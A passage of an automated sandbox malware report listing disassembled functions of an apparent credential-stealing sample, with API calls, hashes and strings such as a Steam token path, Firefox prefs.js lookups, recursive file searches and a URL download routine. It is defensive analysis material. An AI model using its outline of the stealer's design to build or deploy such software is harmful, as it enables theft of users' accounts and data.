Opcode Fuzzy Hash: 5a348dce4926add7b50cf3e1a3237f7deaf910ff3e5a2bc42b85e6f6daaeb5b6
Instruction Fuzzy Hash: 11F05E7A240214FFFB209BD1DD0EFAA7A7EEB45B04F101035FB01A61A1D7B05900DB64

Function 00402308 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040238D

Strings

6%@, xrefs: 0040242C, 00402420
6%@, xrefs: 00402312, 0040231B

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: 6%@$6%@
API String ID: 0-3369382886
Opcode ID: 1671fecbb1ebbe02e7eb2cc7cf41ad1b7ad139c209bd50c1cd2ae32b560b646f
Instruction ID: badd9bf96c2c88f43ed760c6ea304aae97d5f1f2e5982ea7d2ae84e0ed7fb19c
Opcode Fuzzy Hash: 1671fecbb1ebbe02e7eb2cc7cf41ad1b7ad139c209bd50c1cd2ae32b560b646f
Instruction Fuzzy Hash: 9C4146716001199FCB01CF69D8806EDBBB1FF89318F1484BADC55EB395C3B8A982CB54

Function 00414538 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041453D

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

lstrlenA.KERNEL32(00000000,00000000,?,00000000,004265B3), ref: 0041458E

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Soft\Steam\steam_tokens.txt, xrefs: 004145A6

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 40794102-3507145866
Opcode ID: 7a5fed3ba98e7f09c9eff5b3c220e42c9313fc81122d0b4050e547e22e5d9ad4
Instruction ID: 67ec4c1d792d67a99180fbd14363f38a75f30ae372fc1f04672944380735093a
Opcode Fuzzy Hash: 7a5fed3ba98e7f09c9eff5b3c220e42c9313fc81122d0b4050e547e22e5d9ad4
Instruction Fuzzy Hash: D8214971C00188AACB14FBE5C956BDDBB78AF18308F50817EE401725D2DB78274CCA66

Function 004071C6 Relevance: 4.7, APIs: 3, Instructions: 231stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004071CB

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

lstrlenA.KERNEL32(00000000), ref: 00407402
lstrlenA.KERNEL32(00000000), ref: 00407416

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrlen$lstrcat$CreateObjectSingleThreadWait
String ID:
API String ID: 3193997572-0
Opcode ID: cbc7415a79d248715024c5578be9318ededcedd343755c6c1e1074800eddd929
Instruction ID: 8b519aabfee9ba70be02ce4985194bad941b289c0cb22c07f372139e5295b5b5
Opcode Fuzzy Hash: cbc7415a79d248715024c5578be9318ededcedd343755c6c1e1074800eddd929
Instruction Fuzzy Hash: 89A13C71904248EADB15EBE5D955BEDBBB4AF18308F5040BEE406735C2DB782B0CDB26

Function 004165D9 Relevance: 4.6, APIs: 3, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004165DE

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,00425C93,00000000,00000000,?), ref: 00410D52

lstrcat.KERNEL32(?,00000000), ref: 00416620
lstrcat.KERNEL32(?), ref: 0041663F

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 004162AF: _EH_prolog.MSVCRT ref: 004162B4
Part of subcall function 004162AF: wsprintfA.USER32 ref: 004162D4
Part of subcall function 004162AF: FindFirstFileA.KERNEL32(?,?), ref: 004162EB
Part of subcall function 004162AF: StrCmpCA.SHLWAPI(?,00426908), ref: 00416308
Part of subcall function 004162AF: StrCmpCA.SHLWAPI(?,0042690C), ref: 00416322
Part of subcall function 004162AF: wsprintfA.USER32 ref: 00416346
Part of subcall function 004162AF: StrCmpCA.SHLWAPI(?,0042657D), ref: 00416357
Part of subcall function 004162AF: wsprintfA.USER32 ref: 00416374
Part of subcall function 004162AF: PathMatchSpecA.SHLWAPI(?,?), ref: 0041639B
Part of subcall function 004162AF: lstrcat.KERNEL32(?,?), ref: 004163C7
Part of subcall function 004162AF: lstrcat.KERNEL32(?,00426924), ref: 004163D9
Part of subcall function 004162AF: lstrcat.KERNEL32(?,?), ref: 004163E9
Part of subcall function 004162AF: lstrcat.KERNEL32(?,00426928), ref: 004163FB
Part of subcall function 004162AF: lstrcat.KERNEL32(?,?), ref: 0041640F

Part of subcall function 004162AF: wsprintfA.USER32 ref: 00416388

Part of subcall function 004162AF: FindNextFileA.KERNEL32(00000000,?), ref: 004165AA
Part of subcall function 004162AF: FindClose.KERNEL32(00000000), ref: 004165B9

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prologwsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID:
API String ID: 25485560-0
Opcode ID: 7b2ca0ca87c53fab111104ad7f9c0e0035106a6dff0b3672f02f9ca4e90a9d0e
Instruction ID: a017e0cda9a087e3faea27a0b0bd6cecf8e4da27d40e214f5f1144f69bbc44a5
Opcode Fuzzy Hash: 7b2ca0ca87c53fab111104ad7f9c0e0035106a6dff0b3672f02f9ca4e90a9d0e
Instruction Fuzzy Hash: 7C41BE71D4022DABCF10ABB0DC13DED3B79AB0C304F00466AF844A2192E77997958B96

Function 6C6C3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C6C3095

Part of subcall function 6C6C35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C74F688,00001000), ref: 6C6C35D5
Part of subcall function 6C6C35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6C35E0
Part of subcall function 6C6C35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6C35FD
Part of subcall function 6C6C35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C6C363F
Part of subcall function 6C6C35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C6C369F
Part of subcall function 6C6C35A0: __aulldiv.LIBCMT ref: 6C6C36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6C309F

Part of subcall function 6C6E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6E56EE,?,00000001), ref: 6C6E5B85
Part of subcall function 6C6E5B50: EnterCriticalSection.KERNEL32(6C74F688,?,?,?,6C6E56EE,?,00000001), ref: 6C6E5B90
Part of subcall function 6C6E5B50: LeaveCriticalSection.KERNEL32(6C74F688,?,?,?,6C6E56EE,?,00000001), ref: 6C6E5BD8
Part of subcall function 6C6E5B50: GetTickCount64.KERNEL32 ref: 6C6E5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6C30BE

Part of subcall function 6C6C30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C6C3127
Part of subcall function 6C6C30F0: __aulldiv.LIBCMT ref: 6C6C3140

Part of subcall function 6C6FAB2A: __onexit.LIBCMT ref: 6C6FAB30

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: eed07f006ddc9d7c6a3acb011cfcb79c37fa90e6d122bbdd161e6047a543cf0f
Instruction ID: d9840a7a725a3dcf93fc1f473b10c0c415ebc47068d3d7624a24314bf999e2cf
Opcode Fuzzy Hash: eed07f006ddc9d7c6a3acb011cfcb79c37fa90e6d122bbdd161e6047a543cf0f
Instruction Fuzzy Hash: 0DF0D622E2074897CB10FF3498411E6B371EF6B218F50933BE85853521FB2061D8838F

Function 00411EB8 Relevance: 4.2, APIs: 1, Strings: 1, Instructions: 657COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00411EBD

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00404DCA: _EH_prolog.MSVCRT ref: 00404DCF
Part of subcall function 00404DCA: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404E1E
Part of subcall function 00404DCA: StrCmpCA.SHLWAPI(?), ref: 00404E38
Part of subcall function 00404DCA: InternetOpenUrlA.WININET(?,00000000,00000000,00000000,-00800100,00000000), ref: 00404E5C
Part of subcall function 00404DCA: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404E7D
Part of subcall function 00404DCA: InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 00404EC8
Part of subcall function 00404DCA: CloseHandle.KERNEL32(?,?,00000400), ref: 00404EE2
Part of subcall function 00404DCA: InternetCloseHandle.WININET(00000000), ref: 00404EE9
Part of subcall function 00404DCA: InternetCloseHandle.WININET(?), ref: 00404EF2

Part of subcall function 00404DCA: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404EA4

Strings

B, xrefs: 00412749

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologInternetlstrcpy$CloseFileHandle$Openlstrcat$CreateReadWritelstrlen
String ID: B
API String ID: 1244342732-1255198513
Opcode ID: 445673c05ee04e935469998d6e1ad7673640e60efa6b345dae39504cf7bb3895
Instruction ID: 7cb4668c239315be8392dc4a7e389f554ac74aed044ceac891e831ccfcc386df
Opcode Fuzzy Hash: 445673c05ee04e935469998d6e1ad7673640e60efa6b345dae39504cf7bb3895
Instruction Fuzzy Hash: 64529E70904288EADB15EBE4D556BDDBBB49F28308F5040BEE449736C2DB781B4CCB66

Function 0040B8AF Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 240COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040B8B4

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,00425C93,00000000,00000000,?), ref: 00410D52

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040B463: _EH_prolog.MSVCRT ref: 0040B468
Part of subcall function 0040B463: FindFirstFileA.KERNEL32(00000000,?,00000000,?,00425F68,?,?,00425C47,?,00000000,?), ref: 0040B4E7
Part of subcall function 0040B463: StrCmpCA.SHLWAPI(?,00425F6C,?,00000000,?), ref: 0040B50B
Part of subcall function 0040B463: StrCmpCA.SHLWAPI(?,00425F70,?,00000000,?), ref: 0040B525
Part of subcall function 0040B463: StrCmpCA.SHLWAPI(?,prefs.js,00000000,?,?,?,00425F74,?,?,00425C4A,?,00000000,?), ref: 0040B5C1

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

\..\, xrefs: 0040B97C

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$FileFindFirstFolderPathlstrlen
String ID: \..\
API String ID: 271224408-4220915743
Opcode ID: 2fdf3e075c31b22ca8a354aaf151d811bcf78c1484277b32c5798bb14829cd02
Instruction ID: 6c2274da3a54e78b00ef882603e8e3fe35884a936ae60c4e7c9158b4c67c68f5
Opcode Fuzzy Hash: 2fdf3e075c31b22ca8a354aaf151d811bcf78c1484277b32c5798bb14829cd02
Instruction Fuzzy Hash: DFA15FB1900288AACB14FBE5D556BDDBBB4AF19308F50417EE845736C2DB78170CCBA6

Function 00405E09 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

(@, xrefs: 00405ED5, 00405EB1, 00405EB9

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: (@
API String ID: 0-1346038526
Opcode ID: 14c096e7427ac56c3ceb53db33e20d9e6aa561a8e8b35fd361e21ef125d2a38f
Instruction ID: a472476b622eda2900000c9113d1a74c1da44a18ff9f30f91f8d3e78ba7694db
Opcode Fuzzy Hash: 14c096e7427ac56c3ceb53db33e20d9e6aa561a8e8b35fd361e21ef125d2a38f
Instruction Fuzzy Hash: 2B4136B190461AAFCF14EF94D9909AFBBB1EB04314F10447FEA05B7391D6789A818F98

Function 00405D69 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,00000000,?,?,00405E98), ref: 00405DE8

Strings

, xrefs: 00405DBB

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: b6b970fa2179954ca2d24890c2a9fa622aa91f7321e7267b4cd12840a3a9e1b1
Instruction ID: ced7d7a04c1373fcb48adb74aa7fd2d2290691d2abba1c02f51b3daadd827661
Opcode Fuzzy Hash: b6b970fa2179954ca2d24890c2a9fa622aa91f7321e7267b4cd12840a3a9e1b1
Instruction Fuzzy Hash: A7113A71515A0AEBEF20CF94C9887ABB7F5FF04340F6084279541E62C0D7789A85EFA9

Function 00411250 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00411289

Strings

^qA, xrefs: 00411256

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID: ^qA
API String ID: 3080627654-2929517337
Opcode ID: b86a9cf137741d795d42c8fdc09233bf8a42cfbe6d8886dfb6df5f219da20288
Instruction ID: cea7c5b2f21ce40cf92ecfc9ca7a06bfbd61282a3af7cf5c5322f6d4fd748434
Opcode Fuzzy Hash: b86a9cf137741d795d42c8fdc09233bf8a42cfbe6d8886dfb6df5f219da20288
Instruction Fuzzy Hash: BAE0E5B0E0021D9FCB44EFA4E5456EEBBF4FF08308F40806AC509F7240E3B452458BA9

Function 004104A2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 004104B3

Strings

Unknown, xrefs: 004104C6

Memory Dump Source

